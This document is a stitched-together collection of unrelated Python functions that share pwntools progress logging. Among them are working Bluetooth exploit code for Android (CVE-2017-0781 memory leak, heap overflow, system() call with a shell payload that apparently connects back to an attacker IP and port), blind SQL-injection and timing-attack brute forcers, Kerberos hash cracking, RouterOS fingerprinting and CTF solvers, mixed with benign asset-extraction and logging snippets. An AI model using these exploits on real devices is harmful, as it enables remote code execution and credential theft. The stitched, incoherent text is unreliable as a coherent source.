def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, libc_text_base): # Gen new BDADDR, so that the new BT name will be cached src = set_rand_bdaddr(src_hci) ptr0 = acl_name_addr payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT + b'\n#' log.info("system 0x%08x" % system_addr) log.info("PAYLOAD %s" % payload) assert len(payload) < MAX_BT_NAME assert b'\x00' not in payload # Puts payload into a known bss location (once we create a BNEP connection). set_bt_name(payload, src_hci, src, dst) #prog = log.progress('Set name to '+payload) #time.sleep(30) prog = log.progress('Connecting to BNEP again') time.sleep(1) bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP) bnep.bind((src, 0)) bnep.connect((dst, BNEP_PSM)) prog.success() prog = log.progress('Pwning...') # Each of these messages causes BNEP code to send 100 "command not understood" responses. # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q. # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q). # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q. for i in range(20): bnep.send(binascii.unhexlify('8109' + '800109' * 100)) # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer. # This is highly likely to fully overflow over instances of "list_node_t" which is exactly # 8 bytes long (and is *constantly* used/allocated/freed on the heap). # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg" # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list) for i in range(1000): # If we're blocking here, the daemon has crashed _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT) if not writeable: break bnep.send(binascii.unhexlify('810100') + struct.pack('<II', 0, ptr0)) else: log.info("Looks like it didn't crash. Possibly worked") prog.success()
def extract(): os.makedirs(config.LAYER_DUMP_DIR, exist_ok=True) if not os.path.isdir(config.UNPACKED_ASSETS_DIR): log.error(f"Configured UNPACKED_ASSETS_DIR does not exist.\n" f"Make sure you run the unpack task first.") map_dir = config.UNPACKED_ASSETS_DIR + "/Maps" with log.progress("-- Extracting Map") as progress: map_data = extract_map(map_dir, progress) with log.progress("-- Writing RAAS data to file"): with open(f"raas-data-auto.yaml", "w") as f: f.write(yaml.dump(map_data, sort_keys=True, indent=4))
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base): # Gen new BDADDR, so that the new BT name will be cached src = set_rand_bdaddr(src_hci) # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#' # 'sysm' is the address of system() from libc. The *whole* payload is a shell script. # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message. payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + \ SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#' assert len(payload) < MAX_BT_NAME assert b'\x00' not in payload # Puts payload into a known bss location (once we create a BNEP connection). set_bt_name(payload, src_hci, src, dst) prog = log.progress('Connecting to BNEP again') bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP) bnep.bind((src, 0)) bnep.connect((dst, BNEP_PSM)) prog.success() prog = log.progress('Pwning...') # Each of these messages causes BNEP code to send 100 "command not understood" responses. # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q. # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q). # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q. for i in range(20): bnep.send(binascii.unhexlify('8109' + '800109' * 100)) # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer. # This is highly likely to fully overflow over instances of "list_node_t" which is exactly # 8 bytes long (and is *constantly* used/allocated/freed on the heap). # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg" # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list) for i in range(1000): # If we're blocking here, the daemon has crashed _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT) if not writeable: break bnep.send(binascii.unhexlify('810100') + struct.pack('<II', 0, acl_name_addr)) else: log.info("Looks like it didn't crash. Possibly worked") prog.success()
def set_rand_bdaddr(src_hci, return_value=None): """ Sets the bluetooth address of 'src_hci' to a randomly chosen address and returns the random address. If 'return_value' is not 'None', its value will be returned instead without changing the bluetooth address. Params: - 'src_hci' - The local device to change the address of - 'return_value' - Optional return value to return instead of the new address Returns: The new randomly chosen adress or the value of 'return_value' if set. """ if return_value: return return_value prog = log.progress("Setting new BDADDR for %s" % (src_hci, )) addr = ['%02x' % (ord(c), ) for c in os.urandom(6)] final_addr = ':'.join(addr) # Invoke bdaddr to change the address code, _ = util.exec_command_block( ["./bdaddr", "-i", src_hci, "-r", final_addr]) if code != 0: prog.failure("Failed to change BDADDR!") sys.exit(1) # Many bluetooth dongles have to be reconnected for the changes to apply prog.status("Reconnect %s to complete the operation" % (src_hci, )) while bt.hci_devid(final_addr) < 0: time.sleep(0.1) prog.success("Successfully changed BDADDR") return final_addr
def process(self): """ Iterate on token_length and find more intresting char """ log.info("Start guessing token ..") progress = log.progress('Auth ..') for offset in self._get_token_offsets(): timings = [] for i, char in enumerate(self._charset): self._token[offset] = char t1 = self._get_timing() self.request() t2 = self._get_timing() timings.append(t2 - t1) best_candidate = self._charset[timings.index(max(timings))] self._log(progress, offset, char, t1, t2, timings, i, best_candidate) if self._break_on_time != 0: if (max(timings) > min(timings) + self._break_on_time): break found_char = self._charset[timings.index(max(timings))] self._token[offset] = found_char log.success("Found Char: %d:%x:%c - Best: %s - Avg: %s" % (ord(found_char), ord(found_char), found_char, max(timings), self._avg(timings))) progress.success("DONE! %s" % (self.get_token()))
def main(): HOST = 'misc.chal.csaw.io' PORT = 9002 conn = remote(HOST, PORT) for i in range(7): log.info(conn.recvline().decode('utf-8')) p = log.progress('Working') while True: equation_text = conn.recvline(False).decode('utf-8') if equation_text.startswith('flag'): p.success(equation_text) break else: p.status(equation_text) conn.recvuntil('What does X equal?: ') equation = parse(equation_text) solution = solve(equation) conn.sendline(str(solution)) line = conn.recvline(False).decode('utf-8') if line == 'YAAAAAY keep going': pass else: p.failure(line) raise Exception(line) conn.close()
def process(self): """ Iterate on token_length and find more intresting char """ log.info('Start guessing token ..') self._progress = log.progress('Auth ..') self._m = Manager() self._lock = self._m.Lock() offset = 0 while offset < self._token_length: cost_time = {} with ThreadPoolExecutor(max_workers=self._max_thread) as executor: tokens = ['{}{}'.format(self._token, c) for c in self._charset] tasks = zip(self._charset, executor.map(self.request_wrap, tokens)) for c, t in tasks: cost_time[c] = t best_candidate = max(cost_time, key=cost_time.__getitem__) found_char = best_candidate log.success('Finally Flag: {{:{}<{}}}'.format( self._hidden_char, self._token_length).format(self._token + found_char)) if self._check_manually: log.info('Try again? (Y/N) ') if raw_input().upper().strip() == 'Y': continue offset += 1 self._token += found_char self._progress.success("DONE! {}".format(self._token))
def guessContent(query, length, charset=string.lowercase + string.punctuation): name = "" prompt = log.progress("Try payload") charset = string.lowercase + string.punctuation count = 0 while len(name) < length: for c in charset: count += 1 if count >= len(charset): prompt.failure(name) assert False, "GG" break if c == '\'' or c == "\\": tmp = name + '\\' + c payload = payloadContent.format(query, len(tmp)-1, c) else: tmp = name + c payload = payloadContent.format(query, len(tmp), c) prompt.status(payload) r = post(url, data = {"search": payload}) if SUCCESS in r.text: count = 0 name = tmp break prompt.success(payload) return name
def get_remote_architecture(addr): """ :param addr: :return: """ if not isinstance(addr, str): raise TypeError("expected type str for addr, got {0}".format( type(addr))) architecture = None mndp_scanner = mndp_scan() with log.progress("Discovering remote target architecture | CTRL+C to skip" ) as progress: try: while True: beacon = next(mndp_scanner) if beacon.get(addr) and beacon[addr].get("hardware"): architecture = beacon[addr]["hardware"].decode() break except StopIteration as e: progress.failure("skipped") raise e else: progress.success(architecture) return architecture
def memory_leak_get_bases(src, src_hci, dst): prog = log.progress('Doing stack memeory leak...') # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack. result = bluedroid.do_sdp_info_leak(dst, src) #print("Leak: %s" % result) # Debug, show leak array print_result(result) # Calculate according to known libc.so and bluetooth.default.so binaries #likely_some_libc_blx_offset = result[-3][-2] #likely_some_bluetooth_default_global_var_offset = result[6][0] # Nexus 5 6.0.1 likely_some_libc_blx_offset = result[17][5] likely_some_bluetooth_default_global_var_offset = result[2][8] # Show leak address log.info("LIBC 0x%08x" % likely_some_libc_blx_offset) log.info("BT 0x%08x" % likely_some_bluetooth_default_global_var_offset) libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base)) # Close SDP ACL connection os.system('hcitool dc %s' % (dst, )) time.sleep(0.1) prog.success() return libc_text_base, bluetooth_default_bss_base
def RunJohn(self, filenName, algoType): isSuccess = False progress = log.progress("Cracking hash from file: " + highlightRed(filenName)) process = subprocess.run((self.johnPath, filenName, algoType, "--wordlist=" + self.wordlistPath), check=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) if ('krb5asrep' in algoType): regexHashUser = r"(.*[^\s-])\s+\(\$krb5\w+\$23\$(\w+-?\w+)@.+\.\w+\)" elif ('krb5tgs' in algoType): regexHashUser = r"(.*[^\s-])\s+\(\?\)" else: log.warning('Fail to detect hash !') return isSuccess output = process.stdout.decode() for output in output.splitlines(): x = re.search(regexHashUser, output) if (x is not None): if ('krb5asrep' in algoType): print("", end='\t') log.success("Cread Found: '" + highlightGreen(x.group(2)) + ":" + highlightGreen(x.group(1)) + "'") isSuccess = True elif ('krb5tgs' in algoType): print("", end='\t') log.success("Cread Found: '" + highlightGreen(x.group(1)) + "'") isSuccess = True else: log.warning('Fail get hash !') progress.success(status='Done') return isSuccess
def guessContent(query, length, charset=string.lowercase + string.punctuation): name = "" prompt = log.progress("Try payload") charset = string.lowercase + string.punctuation count = 0 while len(name) < length: for c in charset: count += 1 if count >= len(charset): prompt.failure(name) assert False, "GG" break if c == '\'' or c == "\\": tmp = name + '\\' + c payload = payloadContent.format(query, len(tmp) - 1, c) else: tmp = name + c payload = payloadContent.format(query, len(tmp), c) prompt.status(payload) r = post(url, data={"search": payload}) if SUCCESS in r.text: count = 0 name = tmp break prompt.success(payload) return name
def run(self,argv): proxy = self.communicator().stringToProxy(argv[1]) authentication = IceGauntlet.AuthenticationPrx.checkedCast(proxy) if not authentication: raise RuntimeError('Invalid proxy') user = argv[2] current_password = getpass.getpass(prompt='Current password: '******'New password: '******'Changing password..') time.sleep(1) try: authentication.changePassword(user,current_password,new_password) variable_progress.status("Commiting changes...") time.sleep(1) variable_progress.success("Password changed") except IceGauntlet.Unauthorized: variable_progress.failure("Password not valid")
def get_local_dev(): """ Gets all local bluetooth devices and asks the user to pick one. Returns the name and the local address of the chosen device. Returns: Name and address of the chosen bluetooth device or 'None' if there is no device. """ prog = log.progress("Searching for local bluetooth devices") code, out = exec_command_block(["hcitool", "dev"]) if code != 0: return None, None out = out.strip().replace("Devices:", "").strip().split("\n") if not out or len(out) <= 0 or out[0] == "": return None, None for i, dev in enumerate(out): out[i] = dev.strip().split() prog.success("Found %d devices" % (len(out),)) options = ["%s" % (name) for (name, addr) in out] title = "Please choose the local device to use: " option, index = pick.pick(options, title) return out[index]
def main(): solver = Solver() # Find a mask that has a long chain of iterations until a prime is found p = log.progress("Looking for a suitable mask") while True: mask = random.randrange(1 << 256) if (iterations := solver.get_iterations(mask)) >= 256: break
def __init__(self): # self.r = remote("127.0.0.1", 1337) self.r = remote("bitflip3.hackable.software", 1337) args = self.r.recvline().decode().split(": ")[1].strip().split() assert len(args) == 3 assert args[0] == "hashcash" p = log.progress("Calculating proof of work") self.r.send(check_output(args)) p.success()
def board(self, board): prog = log.progress('Going to board "%s"...' % board) p = self.p p.sendline('s' + board + '\r') p.recvrepeat(1) p.send(' ') # Skip banner or do nothing p.recvrepeat(0.1) prog.success('Done') self._board = board self._article = None
def guessLength(query, start = 0, end = 100): prompt = log.progress("Try payload") for i in range(start, end): payload = payloadLength.format(query, i) prompt.status(payload) r = post(url, data = {"search": payload}) if SUCCESS in r.text: prompt.success(payload) return i prompt.failure("Fail!")
def guessLength(query, start=0, end=100): prompt = log.progress("Try payload") for i in range(start, end): payload = payloadLength.format(query, i) prompt.status(payload) r = post(url, data={"search": payload}) if SUCCESS in r.text: prompt.success(payload) return i prompt.failure("Fail!")
def extract(): with log.progress("Extracting RAAS data and full-size maps"): extract_map_info.extract() log.success( "Extraction finished. " "You can generate map tiles now. " "The RAAS data has been saved as raas-data-auto.yaml. " "Make any changes that you want to make to it and then copy it to " "../src/assets/raas-data.yaml")
def main(): if not os.path.isdir('recent_search'): os.mkdir('recent_search') parser = argparse.ArgumentParser() parser.print_help = _print_help parser.add_argument('-id', '--id', help='', type=str, required=True) args = parser.parse_args() p = log.progress("Searching using " + Fore.YELLOW + args.id + Fore.WHITE + " ") is_valid(args.id, p)
def article(self, aid): if self._board is None: raise ValueError('Board not set') prog = log.progress('Going to article "%s"...' % aid) p = self.p p.sendline(aid + '\r') p.recvrepeat(0.1) p.send('r') # Enter article p.recvrepeat(0.1) prog.success('Done') self._article = aid
def main(): log.info("Finding a tricky RNG seed value") tricky = find_tricky_rng_seed() solver = Solver() # Find a mask that has a long chain of invocations until a prime is found p = log.progress("Looking for a suitable mask") while True: mask = random.randrange(1 << 256) if (invocations := solver.get_invocations(mask)) >= 256: break
def get_remote_version() -> [typing.Union[bytes, str]]: """ :return: """ cnx = None port = None version = None with log.progress("Discovering remote target version") as progress: for portnum in PORTS.values(): try: if isinstance(portnum, int): cnx = create_socket(TARGET.rhost, portnum) elif isinstance(portnum, (tuple, list)): for subport in portnum: cnx = create_socket(TARGET.rhost, subport) break except ConnectionError: continue else: port = portnum break if port in PORTS["HTTP_PORT"]: # HTTP version_rec = re.compile(r".*RouterOS.*v(\d+.\d+.\d+|\d.\d+)") cnx.send(b"GET / HTTP/1.1\r\n\r\n"), tuple( map(str, cnx.read(65535))) # read garbage for continuation elif port == PORTS["FTP_PORT"] or PORTS["TELNET_PORT"]: # FTP/TELNET version_rec = re.compile(r"\(MikroTik (\d.\d+.\d|\d.\d+)\)") elif port == PORTS["SSH_PORT"]: # SSH raise NotImplementedError( "No know method of version retreival known for ROSSSH") else: raise NotImplementedError( "No known method of version retreival known for port: " + str(port)) for line in cnx.read(65535).decode().split(cnx.newline.decode()): version_match = version_rec.search(line) if version_match: version = version_match.groups()[0] progress.success(version) break if not version: progress.failure() cnx.close() return version
def noise(t): global g_payload g_payload = NOISE running = True start_time = time.time() with logger.progress('capturing data for noise') as progress: while running: elapsed = time.time() - start_time progress.status('elapsed %d of %d seconds' % (elapsed, t)) running = elapsed < t g_payload = None
def find_tricky_rng_seed(): # Find a seed such that we generate a secret == 0 rng = Rng() for block, base in tricky_sha_inputs(): p = log.progress(f"Trying block {block}") seed = long_to_bytes(bytes_to_long(base) - 2, 32) rng.set_seed(seed) prime = rng.getbits(512) assert rng.getbits() == 0 if not is_prime(prime): p.failure() else: p.success() return seed
def unpack(): os.makedirs(config.UNPACKED_ASSETS_DIR, exist_ok=True) with log.progress("-- Unpacking Vanilla Assets") as progress: _unpack_relevant_files_in_dir(config.SQUAD_GAME_DIR + VANILLA_SUBDIR, progress) # some assets are extracted into a different directories # e.g., "./Content/" vs. "./SquadGame/Content/" # (not sure why this is inconsistent) with log.progress("-- Merging directories"): merge_paths = [ ("SquadGame", "."), ("Content", "."), ] for src, dst in merge_paths: subprocess.call( [ "cp", "--recursive", "--link", # don't copy, hard-link instead *glob(f"{config.UNPACKED_ASSETS_DIR}/{src}/*"), f"{config.UNPACKED_ASSETS_DIR}/{dst}", ], )
def __init__(self, user, passwd): prog = log.progress('Logging in...') p = remote('ptt.cc', 23) p.recvrepeat(0.1) # Login screen p.sendline(user + ',\r') p.recvrepeat(0.1) # Enter password p.sendline(passwd + '\r') if p.recvrepeat(1).find('您想刪除其他重複登入的連線嗎') != -1: p.sendline('n\r') p.recvuntil('請按任意鍵繼續') p.sendline('\r') p.recvrepeat(0.1) prog.success('Done') self.p = p self._board = None self._article = None
async def process(self): """ Main task to process * Check given url availability * Fill test tasks queue * Launch the task """ self._queue = asyncio.Queue() await self.fill_queue() log.info("Launching {} requests ..".format(self._requests_todo)) if not self._disable_progress: self._p = log.progress('Status') Printer.first() self._starttime = datetime.now() await self.trigger_coros() self.loop.stop()
def main(): context.log_level = 'info' io = connect() o = order(io, 9) log.debug('Original Order: ' + o) progress = log.progress('Finding flag') for key_len in xrange(8, 32): progress.status('Trying key length of ' + str(key_len)) modified = modify(o, key_len) log.debug('Modified Order: ' + modified) try: m, p, flag = pay(io, modified) progress.success(flag) break except Exception as e: progress.status('Key length ' + str(key_len) + ' failed: ' + str(e)) io.close()
def get_base_addresses(src, dst): """ Performs the CVE-2017-0781 memory leak in order to get the base addresses of libc.so and bluetooth.default.so. *NOTE*: This function is highly dependent on specific versions of libc and bluetooth.default.so. If you do not use the specific offsets of the targeted device the exploit will not work and will crash the remote bluetooth service at the most. Params: - 'src' - Address of the local device - 'dst' - Address of the target device to leak data from Returns: The base address of libc.so and the base address of bluetooth.default.so """ prog = log.progress('Doing stack memory leak...') # Get leaked stack data. This memory leak gets "deterministic garbage" from the stack. result = sdp.do_sdp_info_leak(dst, src) # Prints the leak result as a matrix; needed to get "libc_leak_idx" and # "bluetooth_leak_idx" # util.print_result(result) # Calculate according to known libc.so and bluetooth.default.so binaries x, y = DEVICE_CONFIG["libc_leak_idx"] libc_offset = result[x][y] x, y = DEVICE_CONFIG["bluetooth_leak_idx"] bluetooth_var_offset = result[x][y] log.info("Leaked libc data: 0x%08x\tLeaked bluetooth data: 0x%08x" % (libc_offset, bluetooth_var_offset)) libc_base = libc_offset - DEVICE_CONFIG["libc_leak_data"] bluetooth_base = bluetooth_var_offset - DEVICE_CONFIG["bluetooth_leak_data"] log.info('libc base: 0x%08x\t\tbluetooth base: 0x%08x' % (libc_base, bluetooth_base)) # Close SDP ACL connection again util.exec_command_block(["hcitool", "dc", dst]) time.sleep(0.1) prog.success() return libc_base, bluetooth_base
def export_to_wav(filepath, samples, samplerate): # we divide by 100 because otherwise audacity lets us not zoom into it samplerate = samplerate * 1000 * 10 total = sum(len(block) for block in samples) with logger.progress('writing RIFF file %s' % filepath) as progress: with open(filepath, "wb") as wf: wf.write(b"RIFF") wf.write(pack("<L", 44 + total - 8)) wf.write(b"WAVE") wf.write(b"fmt \x10\x00\x00\x00\x01\x00\x01\x00" ) # http://soundfile.sapp.org/doc/WaveFormat/ wf.write(pack("<L", samplerate)) # samplerate wf.write(pack("<L", samplerate)) # ByteRate wf.write(b"\x01\x00\x08\x00") wf.write(b"data") wf.write(pack("<L", total)) for block in samples: wf.write(block)
def main(): log.info('Starting to pwn') #context.log_level = 'debug' #io = remote('crypto.midnightsunctf.se', 31337) io = remote('127.0.0.1', 31337) #io = process(['python', 'hm4c.py']) get_digest = partial(get_digest_from_tube, io) curr_i, prev_i = tee(matches(get_digest)) prev_i = islice(prev_i, 1, None) # keep printing the partial flag until we have found the entire flag progress = log.progress('Finding flag') for prev, curr in izip(curr_i, prev_i): if prev == curr: progress.success(curr) break else: progress.status(curr)
def memory_leak_get_bases(src, src_hci, dst): prog = log.progress('Doing stack memory leak...') # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack. result = bluedroid.do_sdp_info_leak(dst, src) # Calculate according to known libc.so and bluetooth.default.so binaries likely_some_libc_blx_offset = result[-3][-2] likely_some_bluetooth_default_global_var_offset = result[6][0] libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base)) # Close SDP ACL connection os.system('hcitool dc %s' % (dst,)) time.sleep(0.1) prog.success() return libc_text_base, bluetooth_default_bss_base